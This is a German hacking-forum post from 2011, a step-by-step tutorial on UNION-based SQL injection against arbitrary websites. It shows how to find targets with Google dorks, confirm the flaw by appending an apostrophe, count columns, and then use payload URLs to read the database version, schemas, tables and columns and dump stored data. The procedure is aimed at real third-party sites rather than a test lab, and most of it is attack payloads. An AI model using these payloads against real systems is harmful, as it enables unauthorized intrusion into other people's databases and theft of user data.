Sie sind nicht angemeldet.

[Tut]SQL Injection Part 2

DeinTod

Moderator

Beiträge: 99

Danksagungen: 16

1

Gestern, 23:57

[Tut]SQL Injection Part 2

Hier nun part 2 für eine SQLi

Hier geht es darum nicht einfach Zugriff auf Website Content zu erhalten,
sondern Zugriff auf Datenbanken zu erhalten.

Einleitung etc. Spare ich mir mal jetzt, da ich in part 1 bereits viel erklärt
habe. Also gleich zur Durchführung:

Zuerst muss eine Schwachstelle gefunden werden, um die injection
durchzuführen, wie schon in part 1 erwähnt dafür gibt es sogar
fertige Programme aber man kann auch ganz einfach Google nutzen.

Nach was wird gegoogelt? Dateianhänge von Webanwendungen mit möglichen
Schwachstellen, beispielsweise eine beliebige Datei aus einem Foren
ordner.

Diese Datein sind für SQL Injections auch als "dorks" bekannt.

Hier habe ich mal einige von google:

 Spoiler



Um diese dorks nun zu nutzen müssen sie in Google eingegeben werden,
vor den "dork" muss jedoch noch "inurl:"
hinzugefügt werden, bei vielen meiner kleinen Auswahl steht es
bereits dabei.

Nun findet Google Websiten mit den gesuchten dorks.

Wenn ihr nun euer Ziel vor Augen habt könnt ihr ganz leicht testen ob es
für eine Injection anfällig ist, indem ihr an die URL ein '
anhängt.


Wenn nun ein SQL Error zum Vorschein komm ist eine sqli möglich.

Wenn es möglich ist muss geprüft werden, wie viele mögliche Zugänge
vorhanden sind.

Dies ist simpel, mit Pech jedoch zeitaufwendig

Dazu muss man erneut die URL ändern:

Quellcode

 
1

http://gewählteseite.de/gewähltesDork order by 1--


nun steigert man die hinterstehende Zahl immer weiter.

Irgendwann bekommt man einen Error weil es nicht mehr gibt. Wichtig: merken bis
zu welcher Zahl es ging!

Nun wird geprüft welche dieser Möglichkeiten für uns als Eintritt
geeignet ist.

Quellcode

 
1

http://www.gewählteseite.de/gewähltesDork+UNION+SELECT+1,2,3,4,5--


(falls es 5 Möglichkeiten gibt, wenn es mehr sind hört ihr mit der letzten
Möglichen Zahl auf.)

Nun bekommt ihr auf der folgenden Seite eure ersten Ergebnisse. Dort
sollten ein paar Zahlen zu finden sein, dies sind eure
Eintrittskarten.

Möglicherweise kennt ihr die MySQL Version eurer Zielscheibe bereits, wenn nicht
müsst ihr sie ermitteln. Dies ist ebenfalls nicht schwer. Ihr müsst
nur in der URL die 1 mit @@version austauschen

also wie folgt:

Quellcode

 
1

http://www.gewählteseite.de/gewähltesDork+UNION+SELECT+@@version,2,3,4,5--


Die aufgerufene Seite verrät euch die Version der Datenbank.

Wenn ihr Glück habt ist die Version neuer als MySQL 5, denn alles
dadrunter ist schwer mit einer injection zu "bearbeiten".

Nun müsst ihr den Namen der gewünschten Datenbank finden. Diese URL ist
für die Userlist:

Quellcode

 
1
2

http://www.gewählteseite.de/gewähltesDork+UNION+SELECT+group_concat(schema_name),2,3,4,5+
from+information_schema.schemata--


Nun werdet ihr zu sehen bekommen, welche user Datenbanken vorhanden sind.
Zeit rauszufinden, welche in Benutzung ist.

Quellcode

 
1

http://www.gewählteseite.de/gewähltesDork+UNION+SELECT+concat(database()),2,3,4,5--


nun könnt ihr sehen welche in Benutzung ist, am besten notieren.

Datenbank gefunden. Nun zu den Tabellen! Dieser Syntax wird alle vorhandenen
Tabellen sichtbar machen:

Quellcode

 
1
2
3

http://www.gewählteseite.de/gewähltesDork
union select group_concat(table_name),2,3,4,5 from
information_schema.tables where table_schema=database()--


Nun brauchen wir die Namen der Säulen

Quellcode

 
1
2
3

http://www.gewählteseite.de/gewähltesDork
union select group_concat(column_name),2,3,4,5 from
information_schema.columns where table_schema=database()--


Wir haben nun alles was wir brauchen um endgültig ans Ziel zu kommen.
Schmeissen wir die gesammelten Informationen in eine neue URL:

Quellcode

 
1
2
3

http://www.gewählteseite.de/gewähltesDork
union select 1,group_concat(SäulenName,0x3a,SäulenName,0x3a),2,3,4,5
from DatenbankName.Tabellenname--


Ziel erreicht

Mfg


scheiss 5fach edits... nie wieder openoffice -.-'
57 65 72 20 64 61 73 20 6c 69 65 73 74 20 69 73 74 20 64 6f 6f 66 21

"why fighting when the world stands in flames?"
Es hat sich bereits 1 registrierter Benutzer bedankt.

Benutzer, die sich für diesen Beitrag bedankt haben:

Ras Lanuf (09.10.2011)

Ähnliche Themen